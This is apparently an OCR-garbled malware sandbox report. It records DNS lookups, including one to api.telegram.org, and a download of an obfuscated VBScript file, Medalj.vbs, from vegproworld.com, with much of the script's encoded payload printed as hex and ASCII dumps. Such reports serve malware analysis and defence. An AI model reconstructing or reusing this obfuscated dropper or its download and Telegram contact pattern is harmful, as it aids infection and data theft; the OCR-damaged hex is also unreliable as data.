May 12, 2022 1111 192.168.11.20 0x3cd6 No error (0) dm-files.f odc-dm-files- CNAME IN
14:19:06.784581900 CEST e.ldrv.com geo.onedrive.akad (Canonical (0x0001)
ns.net name)
May 12, 2022 1.1.1.1 192.168.11.20 0x3cd6 No error (0) 1-0003.1-dc- 13.107.43.12 A (IP address) IN
14:19:06.784581900 CEST msedge.net (0x0001)
May 12, 2022 1111 192.168.11.20  Oxfc8f No error (0) api.telegram.org 149.154.167.220 A (IP address) IN
14:19:26.576432943 CEST (0x0001)

HTTP Request Dependency Graph
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.

vegproworld.com

e srod3g.dm.files.1drv.com

.

onedrive.live.com

e srgeug.dm.files.1drv.com

e api.telegram.org

HTTPS Proxied Packets
Session ID Source IP Source Port
0 192.168.11.20 49758
Timestamp e Direction
transferred
2022-05-12 12:17:29 UTC O ouT
2022-05-12 12:17:29 UTC O IN
2022-05-12 12:17:29 UTC 0 IN
2022-05-12 12:17:29 UTC 8 IN
2022-05-12 12:17:29 UTC 15 IN
2022-05-12 12:17:29 UTC 23 IN
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Destination IP BLEHLELL Process

Port
148.66.138.165 443 C:\Program Files (x86)\Internet Explorer\ieinstal.exe
Data

GET /wp-content/Medalj.vbs HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: vegproworld.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 12 May 2022 12:17:29 GMT
Server: Apache

Upgrade: h2,h2c

Connection: Upgrade, close
Last-Modified: Wed, 11 May 2022 14:57:44 GMT
ETag: "6b0093f-3¢c276-5debda9df00cd6"
Accept-Ranges: bytes

Content-Length: 246390

Vary: Accept-Encoding

Content-Type: text/vbscript

Data Raw: 27 41 66 62 75 64 20 46 4a 45 52 44 52 41 20 52 65 74 6e 69 6e 20 53 6d 65 6¢ 74 65 37 20 46 6¢ 67 65 73
79 67 64 6f 39 20 61 66 73 6b 61 66 66 65 6¢ 73 20 6d 61 65 63 65 6€ 61 20 53 69 72 70 6C 38 20 44 69 61 6b 6f 6€ 69
6b 39 20 52 75 6d 70 65 20 42 65 71 75 65 61 20 66 6¢ 75 73 73 70 20 65 6C 69 74 65 20 49 4e 47 52 45 44 49 45 4e 20
4d 65 73 61 72 74 65 72 69 32 20 48 59 50 4f 4d 45 20 57 65 74 74 61 62 6¢ 37 20 0d Oa 27 46 4f 52 46 52 45 20 46 52
41 55 4c 45 49 4e 45 4e 20 61 6e 6¢ 62 73 20 64 65 6d 69 70 69 6b 20 42 4c 41 54 54 45 44 55 20 6d 65 63 61 20 42 61
79 6f 6e 20 50 45 52 49 44 49 4e 49 41 43 20 53 54 45 45 20 55 6e 73 65 70 74 61 74 65 64 20 50 6¢ 75 72 69 63 75 73
20 46 75 6¢ 64 20 64 65 73 69 67 6e 20 73 69 6b 6b 20 57 48 4f 4C 45 4e 45

Data Ascii: ‘Afbud FJERDRA Retnin Smelte7 Flgesygdo9 afskaffels maecena Sirpl8 Diakonik9 Rumpe Bequea flussp elite
INGREDIEN Mesarteri2 HYPOME Wettabl7 ‘FORFRE FRAULEINEN anlbs demipik BLATTEDU meca Bayon PERIDINIAC
STEE Unseptated Pluricus Fuld design sikk WHOLENE

Data Raw: 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38
4d 61 38 38 42 38 38 58 69 6¢ 6f 32 32 38 43 3a 43 44 36 43 3a 43 38 43 38 39 45 37 37 38 43 3a 43 32 35 36 37 39 32
42 38 38 39 38 43 3a 43 44 36 43 3a 43 32 42 43 3a 43 32 58 69 6¢ 6f 32 32 4d 61 38 38 44 58 69 6¢ 6f 32 32 42 37 38 3
9 32 39 43 3a 43 43 35 44 43 3a 43 35 43 3a 43 37 32 43 3a 43 35 43 4d 61 38 38 36 33 32 36 58 69 6¢ 6f 32 32 37 43
45 32 33 39 42 32 44 43 32 39 37 43 43 3a 43 43 43 41 4c 4c 44 35 58 69 6¢ 6f 32 32 41 43 3a 43 43 41 4c 4c 4d 61 38
38 58 69 6¢ 6f 32 32 4d 61 38 38 36 37 35 44 43 41 4c 4c 4d 61 38 38 43 43 3a 43 39 32 43 41 4c 4c 58 69 6¢ 6f 32 32 43
41 4c 4c 37 43 41 4c 4c 4d 61 38 38 45 37 35 32 36 37 41 43 32 58 69 6¢

Data Ascii: a8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma88B88Xilo228C:CD6C:C8C89E778C:C256792B889
8C:CD6C:C2BC:C2Xilo22Ma88DXilo22B78929C:CC5DC:C5C:C72C:C5CMa886326Xil0227CE239B2DC297CC:CC
CALLD5Xilo22AC:CCALLMa88Xilo22Ma88675DCALLMa88CC:C92CALLXilo22CALL7CALLMa88E75267AC2Xil

Data Raw: 43 3a 43 41 42 37 44 35 37 41 32 43 44 38 43 44 35 43 41 4c 4c 35 38 42 39 39 39 4d 61 38 38 38 41 37 42
42 4d 61 38 38 45 45 38 45 32 35 33 4d 61 38 38 39 4d 61 38 38 36 43 36 44 41 58 69 6¢ 6f 32 32 35 32 38 45 4d 61 38
38 35 33 38 4d 61 38 38 38 43 41 4c 4c 38 33 39 41 43 3a 43 36 35 38 33 4d 61 38 38 37 35 42 58 69 6¢ 6f 32 32 38 44 4
14542 37 41 37 38 45 44 43 41 4c 4c 32 58 69 6¢ 6f 32 32 58 69 6¢ 6f 32 32 37 39 35 42 43 3a 43 35 4d 61 38 38 43 3a
4344 43 41 4c 4c 39 33 4d 61 38 38 36 35 42 39 35 39 32 45 32 44 35 4d 61 38 38 35 43 33 43 3a 43 38 36 43 41 4c 4c
4d 61 38 38 33 32 58 69 6¢ 6f 32 32 33 42 33 39 43 3a 43 43 32 32 4d 61 38 38 39 4d 61 38 38 43 41 4c 4c 36 36 37 4d
61 38 38 37 39 43 41 4c 4c 43 41 4c 4c 44 42 44 43 41 4c 4c 35 45 4d 61

Data Ascii: C:CAB7D57A2CD8CD5CALL58B999Ma888A7BBMa88EE8E253Ma889Ma886C6DAXil022528EMa88538
Ma888CALL839AC:C6583Ma8875BXilo228DAEB7A78EDCALL2Xilo22Xilo22795BC:C5Ma88C:CDCALL9I3Ma8865B
9592E2D5Ma885C3C:C86CALLMa8832Xil0223B39C:CC22Ma889Ma88CALL667Ma8879CALLCALLDBDCALLSEMa

Data Raw: 36 33 36 37 41 43 3a 43 43 43 41 4c 4c 38 43 3a 43 39 39 44 36 43 32 45 36 37 37 36 33 45 36 37 36 42 32
4d 61 38 38 58 69 6¢ 6f 32 32 43 3a 43 37 43 36 41 41 45 33 43 41 4c 4c¢ 58 69 6c 6f 32 32 33 3542 42 42 43 3a 43 45
43 3a 43 45 32 35 33 4d 61 38 38 35 38 33 45 44 44 36 43 41 4c 4c 36 42 44 58 69 6¢c 6f 32 32 44 41 43 4d 61 38 38 42 4
d 61 38 38 36 38 41 44 41 43 35 36 33 32 45 33 37 38 38 44 43 42 41 37 43 41 58 69 6¢ 6f 32 32 43 3a 43 45 35 39 35
32393945433243414c4c443233324437433a4343414c4c3943414c4c43414c4c4533424d613838
32 4d 61 38 38 4d 61 38 38 44 37 43 37 36 32 45 35 42 4d 61 38 38 43 3a 43 37 4d 61 38 38 39 43 3a 43 44 43 3a 43 43
33 39 38 37 41 38 58 69 6¢ 6f 32 32 33 42 43 39 45 4d 61 38 38 35 43 33 42

Data Ascii: 6367AC:CCCALL8C:C99D6C2E67763E676B2Ma88Xilo22C:C7C6AAE3CALLXilo2235BBBC:CEC:CE
253Ma88583EDD6CALL6BDXilo22DACMa88BMa8868ADAC5632E3788DCBA7CAXIl022C:CE595299EC2CALLD232D7
C:CCALL9CALLCALLE3BMa882Ma88Ma88D7C762E5BMa88C:C7Ma889C:CDC:CC3987A8Xilo223BCIEMa885C3B
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kBytes

Timestamp transferred Direction
2022-05-12 12:17:29 UTC 31 IN
2022-05-12 12:17:29 UTC 39 IN
2022-05-12 12:17:29 UTC 47 IN
2022-05-12 12:17:29 UTC 55 IN
2022-05-12 12:17:29 UTC 62 IN
2022-05-12 12:17:29 UTC 70 IN
2022-05-12 12:17:29 UTC 78 IN
2022-05-12 12:17:29 UTC 86 IN
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Data

Data Raw: 6¢ 6f 32 32 36 37 43 41 4c 4c 44 36 45 36 35 32 38 4d 61 38 38 43 3a 43 33 32 45 33 33 43 41 4c 4¢ 35 35 43
42 39 35 44 37 32 4d 61 38 38 37 38 32 35 35 39 35 44 32 36 39 4d 61 38 38 43 43 43 3a 43 32 33 41 44 58 69 6¢ 6f 32
32 4337 32 58 69 6¢ 6f 32 32 36 41 35 44 41 58 69 6¢ 6f 32 32 35 36 35 45 4d 61 38 38 35 33 38 4d 61 38 38 43 41 58
69 6¢ 6f 32 32 4d 61 38 38 4d 61 38 38 58 69 6¢ 6f 32 32 43 3a 43 43 32 36 41 32 32 42 58 69 6¢ 6f 32 32 37 4d 61 38 38
39 39 45 45 36 32 43 4d 61 38 38 35 44 41 43 45 36 32 43 41 4c 4c 44 32 37 43 3a 43 38 4d 61 38 38 42 44 36 43 43 3a
43 35 58 69 6¢ 6f 32 32 38 4d 61 38 38 43 3a 43 33 32 45 32 43 41 4d 61 38 38 35 41 42 43 4d 61 38 38 33 43 36 44 33
4341 4c4c393843433a434333424343414c4c4145374144

Data Ascii: 102267CALLD6E6528Ma88C:C32E33CALL55CB95D72Ma887825595D269Ma88CCC:C23ADXilo22C7
2Xilo226A5DAXil022565EMa88538Ma88CAXilo22Ma88Ma88Xilo22C:CC26A22BXil0227Ma8899EE62CMa885DA
CE62CALLD27C:C8Ma88BD6CC:C5Xilo228Ma88C:C32E2CAMa885ABCMa883C6D3CALLISCC:CC3BCCALLAE7AD

Data Raw: 38 38 38 43 41 4c 4c 39 42 33 43 3a 43 38 41 32 37 43 3a 43 39 38 42 35 41 58 69 6¢ 6f 32 32 44 45 43 43 41
4c 4c 43 41 4c 4c 32 39 38 43 41 4c 4¢ 39 43 44 45 33 41 45 43 32 38 43 45 42 41 43 32 43 36 37 43 41 4c 4¢ 39 39 4d
61 38 38 39 43 36 58 69 6¢ 6f 32 32 35 35 32 38 4d 61 38 38 43 3a 43 33 35 41 37 45 44 35 43 33 42 36 39 43 41 4c 4¢c
43 41 4c 4c 32 32 43 33 32 37 42 35 41 38 36 44 37 38 39 42 58 69 6¢ 6f 32 32 43 41 4c 4c 37 36 41 36 36 4d 61 38 38 4
558 69 6¢ 6f 32 32 33 4d 61 38 38 33 35 43 41 4c 4c 36 42 33 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38
4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38
38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61

Data Ascii: 888CALL9B3C:C8A27C:C98B5AXilo22DECCALLCALL298CALLICDE3AEC28CEBAC:C67CALL99Ma88
9C6Xilo225528Ma88C:C35A7EDS5C3B69CALLCALL22C327B5A86D789BXilo22CALL76A66Ma88EXilo223Ma8835C
ALL6B33C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma

Data Raw: 32 44 38 4d 61 38 38 35 44 41 45 33 35 33 38 4d 61 38 38 38 43 41 4c 4c 39 44 4d 61 38 38 43 4d 61 38 38
45 4d 61 38 38 41 44 43 42 43 58 69 6¢ 6f 32 32 39 39 4d 61 38 38 39 43 3a 43 39 43 41 4c 4c 43 41 4c 4c 43 43 41 4c
4c 33 58 69 6¢ 6f 32 32 41 41 4d 61 38 38 44 32 38 41 36 58 69 6¢ 6f 32 32 41 37 37 43 41 4c 4c 44 36 35453533384
d 61 38 38 43 3a 43 33 4d 61 38 38 42 44 36 37 45 42 43 58 69 6¢ 6f 32 32 44 39 43 41 4c 4c 4341 4c 4c 33413242 41
43 3a43 43 41 4c 4c 35 44 38 43 41 4c 4c 38 35 38 38 33 38 39 32 33 37 38 38 42 39 32 44 39 41 37 37 58 69 6¢ 6f 32
3243 3a43 3242 33 38 43 41 4c 4c 37 36 41 32 45 35 33 36 32 43 3a 43 39 43 38 36 37 36 42 38 58 69 6¢ 6f 32 32 43
3a 43 33 45 32 39 43 41 4c 4c 45 35 41 43 41 4c 4c 4d 61 38 38 45 43 39

Data Ascii: 2D8Ma885DAE3538Ma888CALLIDMa88CMa88EMa88ADCBCXilo2299Ma889C:CICALLCALLCCALL3Xi
1022AAMa88D28A6Xilo22A77CALLDE5E538Ma88C:C3Ma88BD67EBCXilo22DICALLCALL3A2BAC:CCALL5D8CALLS
58838923788B92D9A77Xilo22C:C2B38CALL76A2E5362C:CIC8676B8Xilo22C:C3E29CALLESACALLMa88ECY

Data Raw: 38 58 69 6¢ 6f 32 32 45 41 43 3a 43 33 4d 61 38 38 41 37 43 3a 43 4d 61 38 38 42 43 3a 43 33 45 32 4d 61
383841 4d 61 38 38 33 33 45 41 41 35 33 43 41 4c 4c 35 37 38 4d 61 38 38 42 45 39 37 44 42 43 58 69 6¢ 6f 32 32 44
333542 3939 33384143 3a43 37 44 43 41 4c 4c 39 36 38 42 44 32 38 43 3a 43 36 37 39 35 42 39 32 38 39 44 36 33
3537 41 43 3a 43 58 69 6¢ 6f 32 32 36 38 43 33 43 3a 43 43 32 43 43 43 32 43 45 37 37 35 43 41 4c 4c 43 41 4c 4c 43
3a 43 4d 61 38 38 37 43 3a 43 37 45 36 37 41 33 58 69 6¢ 6f 32 32 42 42 37 36 43 39 45 32 35 33 45 36 43 36 32 4d 61
3838 33 35 4d 61 38 38 35 38 32 42 41 44 37 37 43 41 38 41 43 44 32 37 45 43 58 69 6¢ 6f 32 32 45 4d 61 38 38 41 37
58 69 6¢ 6f 32 32 4d 61 38 38 43 37 58 69 6¢ 6f 32 32 45 41 35 43 3a 43 35

Data Ascii: 8Xilo22EAC:C3Ma88A7C:CMa88BC:C3E2Ma88AMa8833EAAS3CALL578Ma88BE97DBCXilo22D35B9
938AC:C7DCALL968BD28C:C6795B9289D6357AC:CXilo2268C3C:CC:CCC2CE775CALLCALLC:CMa887C:C7E67A3
Xilo22BB76C9E253E6C62Ma8835Ma88582BAD77CABACD27ECXilo22EMa88A7Xilo22Ma88C7Xilo22EA5C:C5

Data Raw: 44 41 42 43 41 4c 4c 36 39 43 3a 43 32 39 32 35 33 38 4d 61 38 38 32 35 36 37 38 41 4d 61 38 38 39 44 45
4d 61 38 38 41 35 32 38 4d 61 38 38 43 3a 43 33 36 36 41 44 33 42 39 44 41 43 39 35 58 69 6¢ 6f 32 32 43 41 4c 4¢ 37
45 45 36 36 44 38 33 37 33 36 33 41 4d 61 38 38 38 58 69 6¢ 6f 32 32 35 37 4d 61 38 38 37 42 35 42 39 38 32 36 33 42
38 4d 61 38 38 58 69 6¢ 6f 32 32 38 43 41 4c 4c 35 58 69 6¢ 6f 32 32 35 44 42 38 38 58 69 6¢ 6f 32 32 36 33 42 38 44 44
43 44 38 44 33 39 44 33 43 38 37 43 41 4c 4c 42 42 38 58 69 6¢ 6f 32 32 43 3a 43 33 45 32 42 42 43 41 4c 4¢ 32 43 58
69 6¢ 6f 32 32 45 32 35 33 44 42 43 41 36 43 41 4c 4c 35 58 69 6¢ 6f 32 32 38 32 43 3a 43 33 45 32 44 41 37 39 58 69
6¢ 6f 32 32 32 36 39 44 45 38 32 43 3a 43 58 69 6¢ 6f 32 32 45 32 35 33

Data Ascii: DABCALL69C:C292538Ma8825678AMa889DEMa88A528Ma88C:C366AD3BIDACIS5Xilo22CALL7EEGE
D837363AMa888Xil02257Ma887B5B98263B8Ma88Xil0228CALL5Xil0225DB88Xil02263B8DDCD8D39D3C87CALL
BB8Xilo22C:C3E2BBCALL2CXilo22E253DBCAGCALL5Xil02282C:C3E2DA79Xil022269DE82C:CXilo22E253

Data Raw: 42 33 38 45 45 58 69 6¢ 6f 32 32 38 43 3a 43 37 4d 61 38 38 4d 61 38 38 37 43 43 3a 43 35 43 41 4c 4c 35 58
69 6¢ 6f 32 32 43 3a 43 4d 61 38 38 37 42 38 36 39 44 43 3a 43 43 3a 43 4d 61 38 38 43 3a 43 33 45 32 35 33 4d 61 38
38 3943 43 3a 43 43 41 4c 4c 36 35 42 38 4d 61 38 38 43 3a 43 33 36 39 44 43 3a 43 38 4d 61 38 38 43 3a 43 32 45 32
3533 43 3a 43 43 33 43 32 41 33 43 3a 43 58 69 6¢ 6f 32 32 33 36 45 39 43 43 41 4c 4c 43 44 35 4237 36 42 44 43 3a 4
339 3843 3a 43 42 45 32 35 33 4d 61 38 38 42 58 69 6¢ 6f 32 32 43 44 45 44 32 43 3a 43 33 42 42 45 32 35 33 38 4d
61 38 38 43 41 37 44 43 3a 43 33 38 38 43 3a 43 33 45 32 44 41 37 45 43 32 32 43 3a 43 35 33 39 4d 61 38 38 43 3a 43
3345 32 36 32 3532 43 41 35 43 41 4c 4c 36 32 38 32 43 3a 43 33 45 32

Data Ascii: B3BEEXilo228C:C7Ma88Ma887CC:C5CALL5Xilo22C:CMa887B869DC:CC:CMa88C:C3E253Ma889C
C:CCALL65B8Ma88C:C369DC:C8Ma88C:C2E253C:CC3C2A3C:CXilo2236E9CCALLCD5B76BDC:C98C:CBE253Ma88
BXilo22CDED2C:C3BBE2538Ma88CA7DC:C388C:C3E2DA7EC22C:C539Ma88C:C3E26252CA5CALL6282C:C3E2

Data Raw: 43 41 4c 4c 45 58 69 6¢ 6f 32 32 4d 61 38 38 35 32 38 4d 61 38 38 43 3a 43 33 32 45 32 32 38 58 69 6¢ 6f 32
3243 3a 43 37 4d 61 38 38 41 43 43 45 37 43 3a 43 33 45 32 44 38 4d 61 38 38 37 43 3a 43 43 41 4c 4c 4545 3533 38
4d 61 38 38 38 43 41 4c 4¢ 39 32 45 37 41 58 69 6¢ 6f 32 32 38 42 36 42 44 36 43 41 4c 4c 39 43 3a 43 58 69 6¢ 6f 32
32 45 32 35 33 33 38 58 69 6¢ 6f 32 32 43 3a 43 4d 61 38 38 41 32 4d 61 38 38 43 35 43 3a 43 36 41 45 45 4d 61 38 38
4d 61 38 38 33 45 44 32 45 32 43 41 4c 4c 42 38 41 32 43 3a 43 35 36 44 41 4d 61 38 38 43 3a 43 32 43 43 41 4c 4c 36
3644 41 3543 39 41 43 3243 42 41 44 42 41 36 36 44 43 36 42 38 43 41 4c 4c 38 36 35 35 35 43 3243 3242 32 37 32
3843 42 38 43 43 3a 43 44 4d 61 38 38 41 43 41 4c 4c 41 4533 32 32 44

Data Ascii: CALLEXilo22Ma88528Ma88C:C32E228Xilo22C:C7Ma88ACCE7C:C3E2D8Ma887C.CCALLEE538Ma8
88CALL92E7AXil0228B6BD6CALLIC:CXilo22E25338Xil022C:CMa88A2Ma88C5C:C6AEEMa88Ma883ED2E2CALLB
8A2C:C56DAMa88C:C2CCALL66DA5CIAC:CBADBAG6DCEBBCALL86555C:C2B2728CB8CC:CDMa88ACALLAE322D

Data Raw: 4d 61 38 38 35 37 32 45 32 41 44 58 69 6¢ 6f 32 32 37 39 45 37 43 41 4c 4c 43 41 4c 4c 41 41 32 41 38 42 38
39 36 39 43 41 4c 4c 32 32 35 58 69 6¢ 6f 32 32 33 39 4d 61 38 38 32 43 44 42 58 69 6¢ 6f 32 32 41 33 58 69 6¢ 6f 32 32
433239 3243 3a43 334142423543 3a 43 45 36 44 43 3a 43 43 32 36 44 38 44 58 69 6¢ 6f 32 32 44 43 41 42 38 43
41 4c 4c 32 38 58 69 6¢ 6f 32 32 36 43 43 3a 43 38 43 42 44 32 43 58 69 6¢ 6f 32 32 4d 61 38 38 36 41 45 33 4d 61 38
38 58 69 6¢ 6f 3232 33334341 4c4c32433a43364243414c4c434443434432434d6138383533433a434
43543 3543 3a 43 58 69 6¢ 6 32 32 44 32 45 32 43 41 4c 4c 42 43 3a 43 36 36 4d 61 38 38 4d 61 38 38 43 32 45 4d
61 38 38 38 4542 39 39 4341 4c 4c 43 41 4c 4c 43 41 4c 4c 42 38 43

Data Ascii: Ma88572E2ADXilo2279E7CALLCALLAA2A8B8969CALL225Xil02239Ma882CDBXilo22A3Xilo22C2
92C:C3ABB5C:CE6DC:CC26D8DXilo22DCABBCALL28Xilo226CC:C8CBD2CXilo22Ma886AE3Ma88Xilo2233CALL2
C:C6BCALLCDCCD2CMa8853C:CD5C5C:CXilo22D2E2CALLBC:C66Ma88Ma88C2EMa888EBI9CALLCALLCALLB8C
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Data

Data Raw: 4d 61 38 38 42 32 45 38 41 45 4d 61 38 38 44 37 38 43 41 4c 4c 38 43 3a 43 35 41 36 36 38 39 38 42 38 58
69 6¢ 6f 32 32 39 43 41 4c 4c 33 58 69 6¢ 6f 32 32 42 38 37 45 43 38 41 39 42 35 43 43 45 39 43 41 4c 4c 35 32 36 58 69
6¢ 6f 32 32 36 4d 61 38 38 42 43 41 4c 4c 45 32 43 3a 43 35 32 38 4d 61 38 38 43 3a 43 33 32 45 32 33 39 41 32 58 69
6¢ 6f 32 32 43 41 4c 4c 44 41 43 58 69 6¢ 6f 32 32 35 38 33 45 32 35 33 38 4d 61 38 38 43 37 4d 61 38 38 44 42 41 45 3
2 334545 32 35 33 37 37 38 58 69 6¢ 6f 32 32 33 35 37 38 42 38 41 58 69 6¢ 6f 32 32 44 41 42 35 42 38 42 36 4d 61 38
38 42 37 4d 22 0d Oa 4e 65 64 6¢ 67 67 65 6¢ 20 3d 20 4e 65 64 6¢ 67 67 65 6¢ 20 26 20 22 61 38 38 4d 61 38 38 33 43
3a 43 33 45 32 4d 61 38 38 39 4d 61 38 38 39 43 41 4c 4c 36 32 37 35

Data Ascii: Ma88B2ESBAEMa88D78CALL8C:C5A66898B8Xilo229CALL3Xilo22B87EC8A9B5CCEICALL526Xilo2
26Ma88BCALLE2C:C528Ma88C:C32E239A2Xilo22CALLDACXil022583E2538Ma88C7Ma88DBAE23EE253778Xilo2
23578B8AXilo22DAB5B8B6Mag88B7M"Nedlggel = Nedlggel & "a88Ma883C:C3E2Ma889Ma889CALL6275

Data Raw: 4c 45 32 41 41 4d 61 38 38 4d 61 38 38 33 38 4d 61 38 38 36 42 39 43 41 4c 4c 33 35 32 37 39 39 45 36 45
37 3943 33 4d 61 38 38 43 41 4c 4c 42 43 3a 43 43 41 4c 4c 32 35 43 32 43 38 43 41 4c 4c 42 42 35 32 42 43 58 69 6C
6f 3232 44 41 43 44 38 43 32 58 69 6¢ 6f 32 32 33 36 4d 61 38 38 4243 41 4c 4c 324444 42 41 35433243 334d613
83841363339 324338323342433a43424d 61 38 38 42 39 4d 61 38 38 44 43 36 44 38 4d 61 38 38 44 33 37 45
4d 61 38 38 35 33 38 4d 61 38 38 43 3a 43 43 36 36 35 4d 61 38 38 38 58 69 6¢ 6f 32 32 43 3a 43 33 45 32 33 35 4d 61
38 38 58 69 6¢ 6f 32 32 42 38 33 37 58 69 6¢ 6f 32 32 39 4d 61 38 38 39 44 36 43 41 4c 4c 43 35 58 69 6¢ 6f 32 32 38 4d
61 38 38 43 3a 43 33 36 36 42 36 4d 61 38 38 42 58 69 6¢ 6f 32 32 35 43

Data Ascii: LE2AAMa88Ma8838Ma886BICALL352799E6E79C3Ma88CALLBC:CCALL25C:C8CALLBB52BCXilo22D
ACD8C2Xilo2236Ma88BCALL2DDBA5C:C3Ma88A6392C823BC:CBMa88B9Ma88DC6D8Ma88D37EMa8853
8Ma88C:CC665Ma888Xilo22C:C3E235Ma88Xilo22B837Xilo229Ma889D6CALLC5Xilo228Ma88C:C366B6Ma88BX
il0225C

Data Raw: 58 69 6¢ 6f 32 32 42 33 33 37 45 45 36 44 32 43 3a 43 32 58 69 6¢ 6f 32 32 45 58 69 6¢ 6f 32 32 35 33 35 37
4341 4c 4c 43 32 4d 61 38 38 38 58 69 6¢ 6 32 32 39 36 38 39 39 43 58 69 6¢ 6f 32 32 44 32 43 3a 43 32 36 58 69 6¢ 6f
323242 4d 61 38 38 38 38 41 42 38 43 41 4c 4c 38 33 43 4d 61 38 38 32 36 58 69 6¢ 6f 32 32 38 38 35 58 69 6¢ 6f 32
32 3541 36 41 35 45 43 32 41 43 41 4c 4c 41 42 39 4d 61 38 38 43 3a 43 45 43 3a 43 44 44 38 58 69 6¢ 6f 32 32 43 41
4c 4c 41 4d 61 38 38 44 45 43 58 69 6¢ 6f 32 32 58 69 6¢ 6f 32 32 36 39 43 36 32 58 69 6¢ 6f 32 32 43 3a 43 32 45 32 35
3343 3a 4343 33 44 39 33 41 43 4d 61 38 38 58 69 6¢ 6f 32 32 45 33 41 35 37 4d 61 38 38 32 36 4d 61 38 38 38 37 42
44 41 33 35 38 58 69 6¢ 6f 32 32 45 33 35 33 38 4d 61 38 38 43 41

Data Ascii: Xilo22B337EE6D2C:C2Xilo22EXilo225357CALLC2Ma888Xilo2296899CXilo22D2C:C26Xilo22BMa8888AB8
CALL83CMa8826Xil022885Xilo225A6 ASEC2ACALLABIMa88C:CEC:CDD8Xilo22CALLAMa88DECXilo22Xilo2269
C62Xilo22C:C2E253C:CC3D9I3ACMa88Xilo22E3A57Ma8826Ma8887BDA358Xilo22E3538Ma88CA

Data Raw: 38 58 69 6¢ 6f 32 32 38 58 69 6¢ 6f 32 32 4d 61 38 38 37 58 69 6¢ 6f 32 32 37 43 3a 43 37 36 33 36 33 41 58
69 6¢ 6f 32 32 32 35 36 43 33 39 37 32 36 42 58 69 6¢ 6f 32 32 43 41 4c 4c 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61
3838 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d
61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38
36 3343 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43
37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61
38 38 4d 61 38 38 36 33 43 37 4d 61 38 38 4d 61 38 38 36 33 43 37 4d 61

Data Ascii: 8Xilo228Xilo22Ma887Xilo227C:C76363AXilo22256C39726BXilo22CALLMa88Ma8863C7Ma88Ma8863C7Ma8
8MaB8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C
7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma88Ma8863C7Ma

Data Raw: 45 33 35 33 38 4d 61 38 38 43 38 36 37 43 41 4c 4c 39 38 58 69 6¢ 6f 32 32 43 3a 43 33 45 32 35 43 4d 61 38
38 35 32 35 45 35 35 33 38 4d 61 38 38 38 43 41 4c 4c 38 36 43 41 4c 4c 41 43 41 4c 4c 44 36 42 44 43 41 4c 4c 41 4d
61 38 38 44 43 38 4d 61 38 38 32 43 3a 43 43 43 37 58 69 6¢ 6f 32 32 4d 61 38 38 43 41 4c 4c 41 42 37 33 39 4d 61 38
38 43 4d 61 38 38 36 42 44 36 43 41 4c 4c 41 43 3a 43 32 45 32 35 33 4d 61 38 38 42 43 36 45 32 35 32 38 4d 61 38 38
43 3a 43 33 44 43 41 4c 4c 4d 61 38 38 42 39 42 43 3a 43 33 45 32 44 38 4d 61 38 38 35 33 39 45 33 35 33 38 4d 61 38
38 43 3a 43 43 36 45 36 42 38 37 43 3a 43 33 45 32 44 41 58 69 6¢ 6f 32 32 44 43 3a 43 32 45 4d 61 38 38 35 33 38 4d
61 38 38 43 41 4c 4c 38 39 32 42 45 43 3a 43 43 33 43 3a 43 36 33 39 4d

Data Ascii: E3538Ma88C867CALL98Xilo22C:C3E25CMa88525E5538Ma888CALL86CALLACALLD6BDCALLAMa88
DC8Ma882C:CCC7Xilo22Ma88CALLAB739Ma88CMa886BD6CALLAC:C2E253Ma88BC6E2528Ma88C:C3D
CALLMa88B9BC:C3E2D8Ma88539E3538Ma88C:CC6E6B87C:C3E2DAXilo22DC:C2EMa88538Ma88CALL892BEC:CC3
C:C639M

Data Raw: 6¢ 6f 32 32 35 41 43 41 4c 4c 43 36 43 3a 43 41 39 43 41 4c 4c 43 41 4c 4c 43 37 43 4d 61 38 38 38 58 69 6¢
6f 32 32 43 3a 43 58 69 6¢ 6f 32 32 33 35 41 43 41 4c 4c 41 33 43 3a 43 44 4d 61 38 38 43 38 36 37 38 32 38 58 69 6¢ 6f
3232 43 3a 43 33 45 32 41 43 58 69 6¢ 6f 32 32 35 43 41 4c 4c 43 41 4c 4c 45 32 35 33 38 4d 61 38 38 38 43 41 4c 4c
38 37 43 45 32 33 58 69 6¢ 6f 32 32 38 36 39 35 39 44 37 41 44 43 3a 43 35 37 43 4d 61 38 38 38 39 45 39 32 43 41 4c
4c 43 43 3a 43 58 69 6¢ 6f 32 32 43 41 4c 4c 42 38 38 37 32 44 36 41 32 44 37 38 58 69 6¢ 22 0d Oa 4e 65 64 6¢ 67 67 6
5 6¢ 20 3d 20 4e 65 64 6¢ 67 67 65 6¢ 20 26 20 22 6f 32 32 37 37 32 4d 61 38 38 44 35 39 43 41 4c 4c 43 41 4c 4c 43 41
4c 4c 37 41 41 43 3a 43 43 32 33 35 4d 61 38 38 32 4d 61 38 38 33

Data Ascii: [0225ACALLC6C:CA9CALLCALLC7CMa888Xilo22C:CXilo2235ACALLA3C:CDMa88C867828Xilo22
